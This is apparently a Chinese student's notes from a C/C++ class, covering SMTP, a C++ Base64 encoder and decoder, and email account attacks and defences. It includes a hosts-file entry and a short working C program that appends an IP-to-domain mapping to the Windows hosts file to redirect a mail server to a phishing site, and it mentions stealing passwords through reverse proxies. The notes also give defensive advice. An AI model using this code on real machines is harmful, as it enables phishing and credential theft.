一、SMTP协议

SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。

SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。

SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。

SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。

跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。

当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。

二、Base64编码

Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。

Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.
//
////////////////////////////////////////////////////////////////////// #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_ #include <string>
#include <stdio.h>
#include <string.h> using namespace std; class CBase64
{
public:
CBase64();
virtual ~CBase64();
virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64 protected:
unsigned char encodeBuf[3000];
char Base2Chr( char n )
{
n &= 0x3F; return m_sBase64Alphabet[(int)n]; if ( n < 26 )
return ( char )( n + 'A' );
else if ( n < 52 )
return ( char )( n - 26 + 'a' );
else if ( n < 62 )
return ( char )( n - 52 + '0' );
else if ( n == 62 )
return '+';
else
return '/';
} unsigned char Chr2Base( char c )
{
if ( c >= 'A' && c <= 'Z' )
return ( unsigned char )( c - 'A' );
else if ( c >= 'a' && c <= 'z' )
return ( unsigned char )( c - 'a' + 26 );
else if ( c >= '0' && c <= '9' )
return ( unsigned char )( c - '0' + 52 );
else if ( c == '+' )
return 62;
else if ( c == '/' )
return 63;
else
return 64; // N^P'WV7{
}
static std::string m_sBase64Alphabet;
}; //modify end #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information //////////////////////////////////////////////////////////////////////
// Construction/Destruction
////////////////////////////////////////////////////////////////////// CBase64::CBase64()
{
memset(encodeBuf, 0, sizeof(encodeBuf));
} CBase64::~CBase64()
{ } std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ); int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
unsigned char * p = (unsigned char *)szOutput;
int i, n = strlen( szDecoding );
unsigned char c, t; for ( i = 0; i < n; i++ )
{
if ( *szDecoding == '=' )
break;
do {
if ( *szDecoding )
c = Chr2Base( *szDecoding++ );
else
c = 65; // WV7{4.=aJx
} while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H
if ( c == 65 )
break;
switch ( i % 4 )
{
case 0 :
t = c << 2;
break;
case 1 :
*p++ = ( unsigned char )( t | ( c >> 4 ) );
t = ( unsigned char )( c << 4 );
break;
case 2 :
*p++ = ( unsigned char )( t | ( c >> 2 ) );
t = ( unsigned char )( c << 6 );
break;
case 3 :
*p++ = ( unsigned char )( t | c );
break;
}
}
//(char *)szOutput; return ( (char*)p - szOutput );
} int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
std::string sOutput = string("");
int nIndex = 0;
//unsigned char cTemp1[4096];
memset(encodeBuf, 0, sizeof(encodeBuf)); if (!szEncoding)
return 0;
/*else
(unsigned char*)szEncoding;*/ memcpy(encodeBuf, szEncoding, nSize); unsigned char *cTemp = encodeBuf; unsigned char t; for ( nIndex = 0; nIndex < nSize; nIndex++ )
{
switch ( nIndex % 3 )
{
case 0 :
sOutput += Base2Chr( *cTemp >> 2 );
t = ( *cTemp << 4 ) & 0x3F;
cTemp++;
break;
case 1 :
sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
t = ( *cTemp << 2 ) & 0x3F;
cTemp++;
break;
case 2 :
sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
sOutput += Base2Chr( *cTemp & 0x3F );
cTemp++;
break;
}
}
if ( nSize % 3 != 0 )
{
sOutput += Base2Chr( t );
if ( nSize % 3 == 1 )
sOutput += '=';
sOutput += '=';
} strcpy(szOutput, sOutput.c_str());
return sOutput.length();
}
#include <stdio.h>
#include <string.h>
#include "Base64.h" int main01()//这个是将ascii转化为base64的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象,
char base64[100] = { 0 };
char ascii[100] = "18513105526";
base.Encode(ascii, strlen(ascii), base64);
printf("%s\n", base64);
return 0;
} int main()//这个是将base64转化为ascii的代码
{
CBase64 base;//创建CBase64类的一个实例,也叫一个对象。
char base64[100] = "UGFzc3dvcmQ6";
char ascii[100] = { 0 };
base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面
printf("%s\n", ascii);
return 0;
}

三、邮箱账户的破解与防护

1)hosts欺骗与钓鱼站点

钓鱼站点的实现以及怎样防范

钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点

钓鱼站点把用户输入的信息都截获了

钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?

Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系

我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点

Hosts文件里

123.57.211.212 mail.wo.cn

怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,

不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996这个错误信息 int setHosts(const char *IP, const char *domain)//改动hosts文件
{
char s[100] = { 0 };
GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹
char path[1024] = { 0 };
sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
char content[1024] = { 0 };
sprintf(content, "\n%s %s", IP, domain);
FILE *p = fopen(path, "a");//用追加的方式打开hosts文件
if (p)
{
fputs(content, p);//将ip与域名的相应关系写入hosts文件
fclose(p);
return 0;//代表写入成功
}
return -1;// 写入hosts文件失败
} int main()
{
int rc = setHosts("123.57.211.212", "smtp.wo.cn");
printf("rc = %d\n", rc);
return 0;
}

2)反向代理

怎样通过反向代理来窃取password。以及怎样防范

通过反向代理,差点儿能够无缝的窃取client的非常多信息

一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。

为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的

切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。

邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。

传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控的更多相关文章

  1. SSH-Struts第三弹:传智播客视频教程第一天上午的笔记

    一. 框架概述1.三大框架 : 是企业主流 JavaEE 开发的一套架构 Struts2 + Spring + Hibernate 2. 什么是框架?为什么要学框架 ?框架 是 实现部分功能的代码 ( ...

  2. 传智播客成都校园php纪律指控

    继传智播客成都校区php第一期班圆满开班,说明php的火爆一点儿也不亚于java! 经传智播客商讨决定,传智播客成都校区php学科收费标准例如以下: 採用下面不论什么一种方式都能够享受优惠价: 一.自 ...

  3. 传智播客ADO.Net项目开发教程具体解释

    内容简单介绍: 本教程为传智播客.Net培训课堂的现场录像,请到140623ls" target="_blank">传智播客.Net学院下载很多其它免费.Net视频 ...

  4. 揭秘传智播客毕业班的超级薪水7k内幕系列II----Offer工资表5.7k,为什么不能让老师就业就业

    在上海传智播客宋学生Java六期学员.在班级尚未毕业阶段,私自投递简历,而且逃课去面试,获得某国企的Offer.入职薪资5.7K,,兼有五险一金.饭补等齐全福利,因就业老师要求班级同学未毕业不要急于就 ...

  5. 揭秘上海传智播客平均工资超过7k 其中一位知情人士

    大学毕业生人数破700万大关.如何破解"毕业即失业"中国式的大学困境? 2014年全国高校毕业生总数将达到727万人,比被称为"史上最难就业年"的2013年再添 ...

  6. 揭秘传智播客班级毕业薪资超7k的内幕系列 之三 ----国企慕名而来,将未毕业学员“抢走”,传智播客又一次定义“被就业”

    前面文章提及Java六期学员张同学提前就业某国企,入职薪资6.3k,各种福利齐全.作为班级首位就业同学,他的就业也成为了班级其它同学就业的风向标.但事实上张同学的就业属于"被就业" ...

  7. 《2013传智播客视频》-wmv,avi,mp4.目录

    \!--14俄罗斯方块\视频\.复习.avi; \!--14俄罗斯方块\视频\ 复习.avi; \!--14俄罗斯方块\视频\ 形状旋转.avi; \!--14俄罗斯方块\视频\ 判断形状能否变形.a ...

  8. 2013传智播客视频--.ppt,.pptx,.doc,.docx.目录

    \!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.docx; \!-- JQ03-JQ事件动画\.1版JS+JQ PPT\00JsDom编程01_邹华栋.pp ...

  9. 传智播客.NET视频学习课件

    传智播客.NET视频学习课件访问.NET网站了解更多课程详情http://net.itcast.cn(小提示:为什么本书中超链接打不开?)此套课件是伴随 传智播客.net实况教学视频 (小提示:为什么 ...

随机推荐

  1. C#.NET常见问题(FAQ)-命名空间namespace如何理解

    Namespace就是定义一个对象是哪个门派的,比如你现在就在A门派下,A门派的所有功夫(属性和方法)都可以不加声明直接调用.如果你要用B门派的功夫,就要先声明是B门派的XXX对象的XXX实例的XXX ...

  2. Bridging and Bonding with CentOS 6.5

    eth0和eth1要做bond,然后kvm虚拟机通过bridge与外界通信. 那么就要在bond上做bridge.配置文件例如以下,实測这样配置,能够从kvm虚拟机ping通外界拓扑. ifcfg-e ...

  3. mysql 表分区 查看表分区 修改表分区

    原文地址:http://blog.csdn.net/feihong247/article/details/7885199 一.       mysql分区简介 数据库分区 数据库分区是一种物理数据库设 ...

  4. openfiler在esxi下的安装配置

    注意分区的时候如果硬盘太小自动分区会导致分配的卷大小不够用 后改为如下: 以root登录: 应该以openfiler登录,口令是password 也可以导入虚拟机安装 升级虚拟机硬件版本 终端登录用户 ...

  5. Spring-boot 1.5.2 下隐藏Banner

    在配置文件中增加: spring.main.banner-mode=off

  6. 一个JAVA的WEB服务器事例

    其实编写一个入门级别的JAVA的WEB服务器,很简单,用SOCKET类即可实现.相关内容可以参考:http://www.cnblogs.com/liqiu/p/3253022.html 一.首先创建一 ...

  7. MySQL中 PK NN UQ BIN UN ZF AI 的意思

    PK   Belongs to primary key作为主键 NN   Not Null非空 UQ  Unique index不能重复 BIN  Is binary column存放二进制数据的列 ...

  8. Excel之tab键

    如上,当用鼠标框选了一定的单元格范围之后,输入第一个数据再按tab捡继续输入数据.当数据输入到框选范围行的末尾时会实现自动转行,如图所示.

  9. Qt Installer Framework 使用说明(二)

    目录 4.教程: 创建一个安装程序 创建软件包目录 创建配置文件 创建程序包信息文件 指定组件信息 指定安装程序版本 添加许可证 选择默认内容 创建安装程序内容 创建安装程序二进制文件 5.创建安装程 ...

  10. 实战VMware的三种网络模式

    来源于:http://www.aneasystone.com/archives/2015/04/three-network-modes-of-vmware-in-action.html 一.实验目的 ...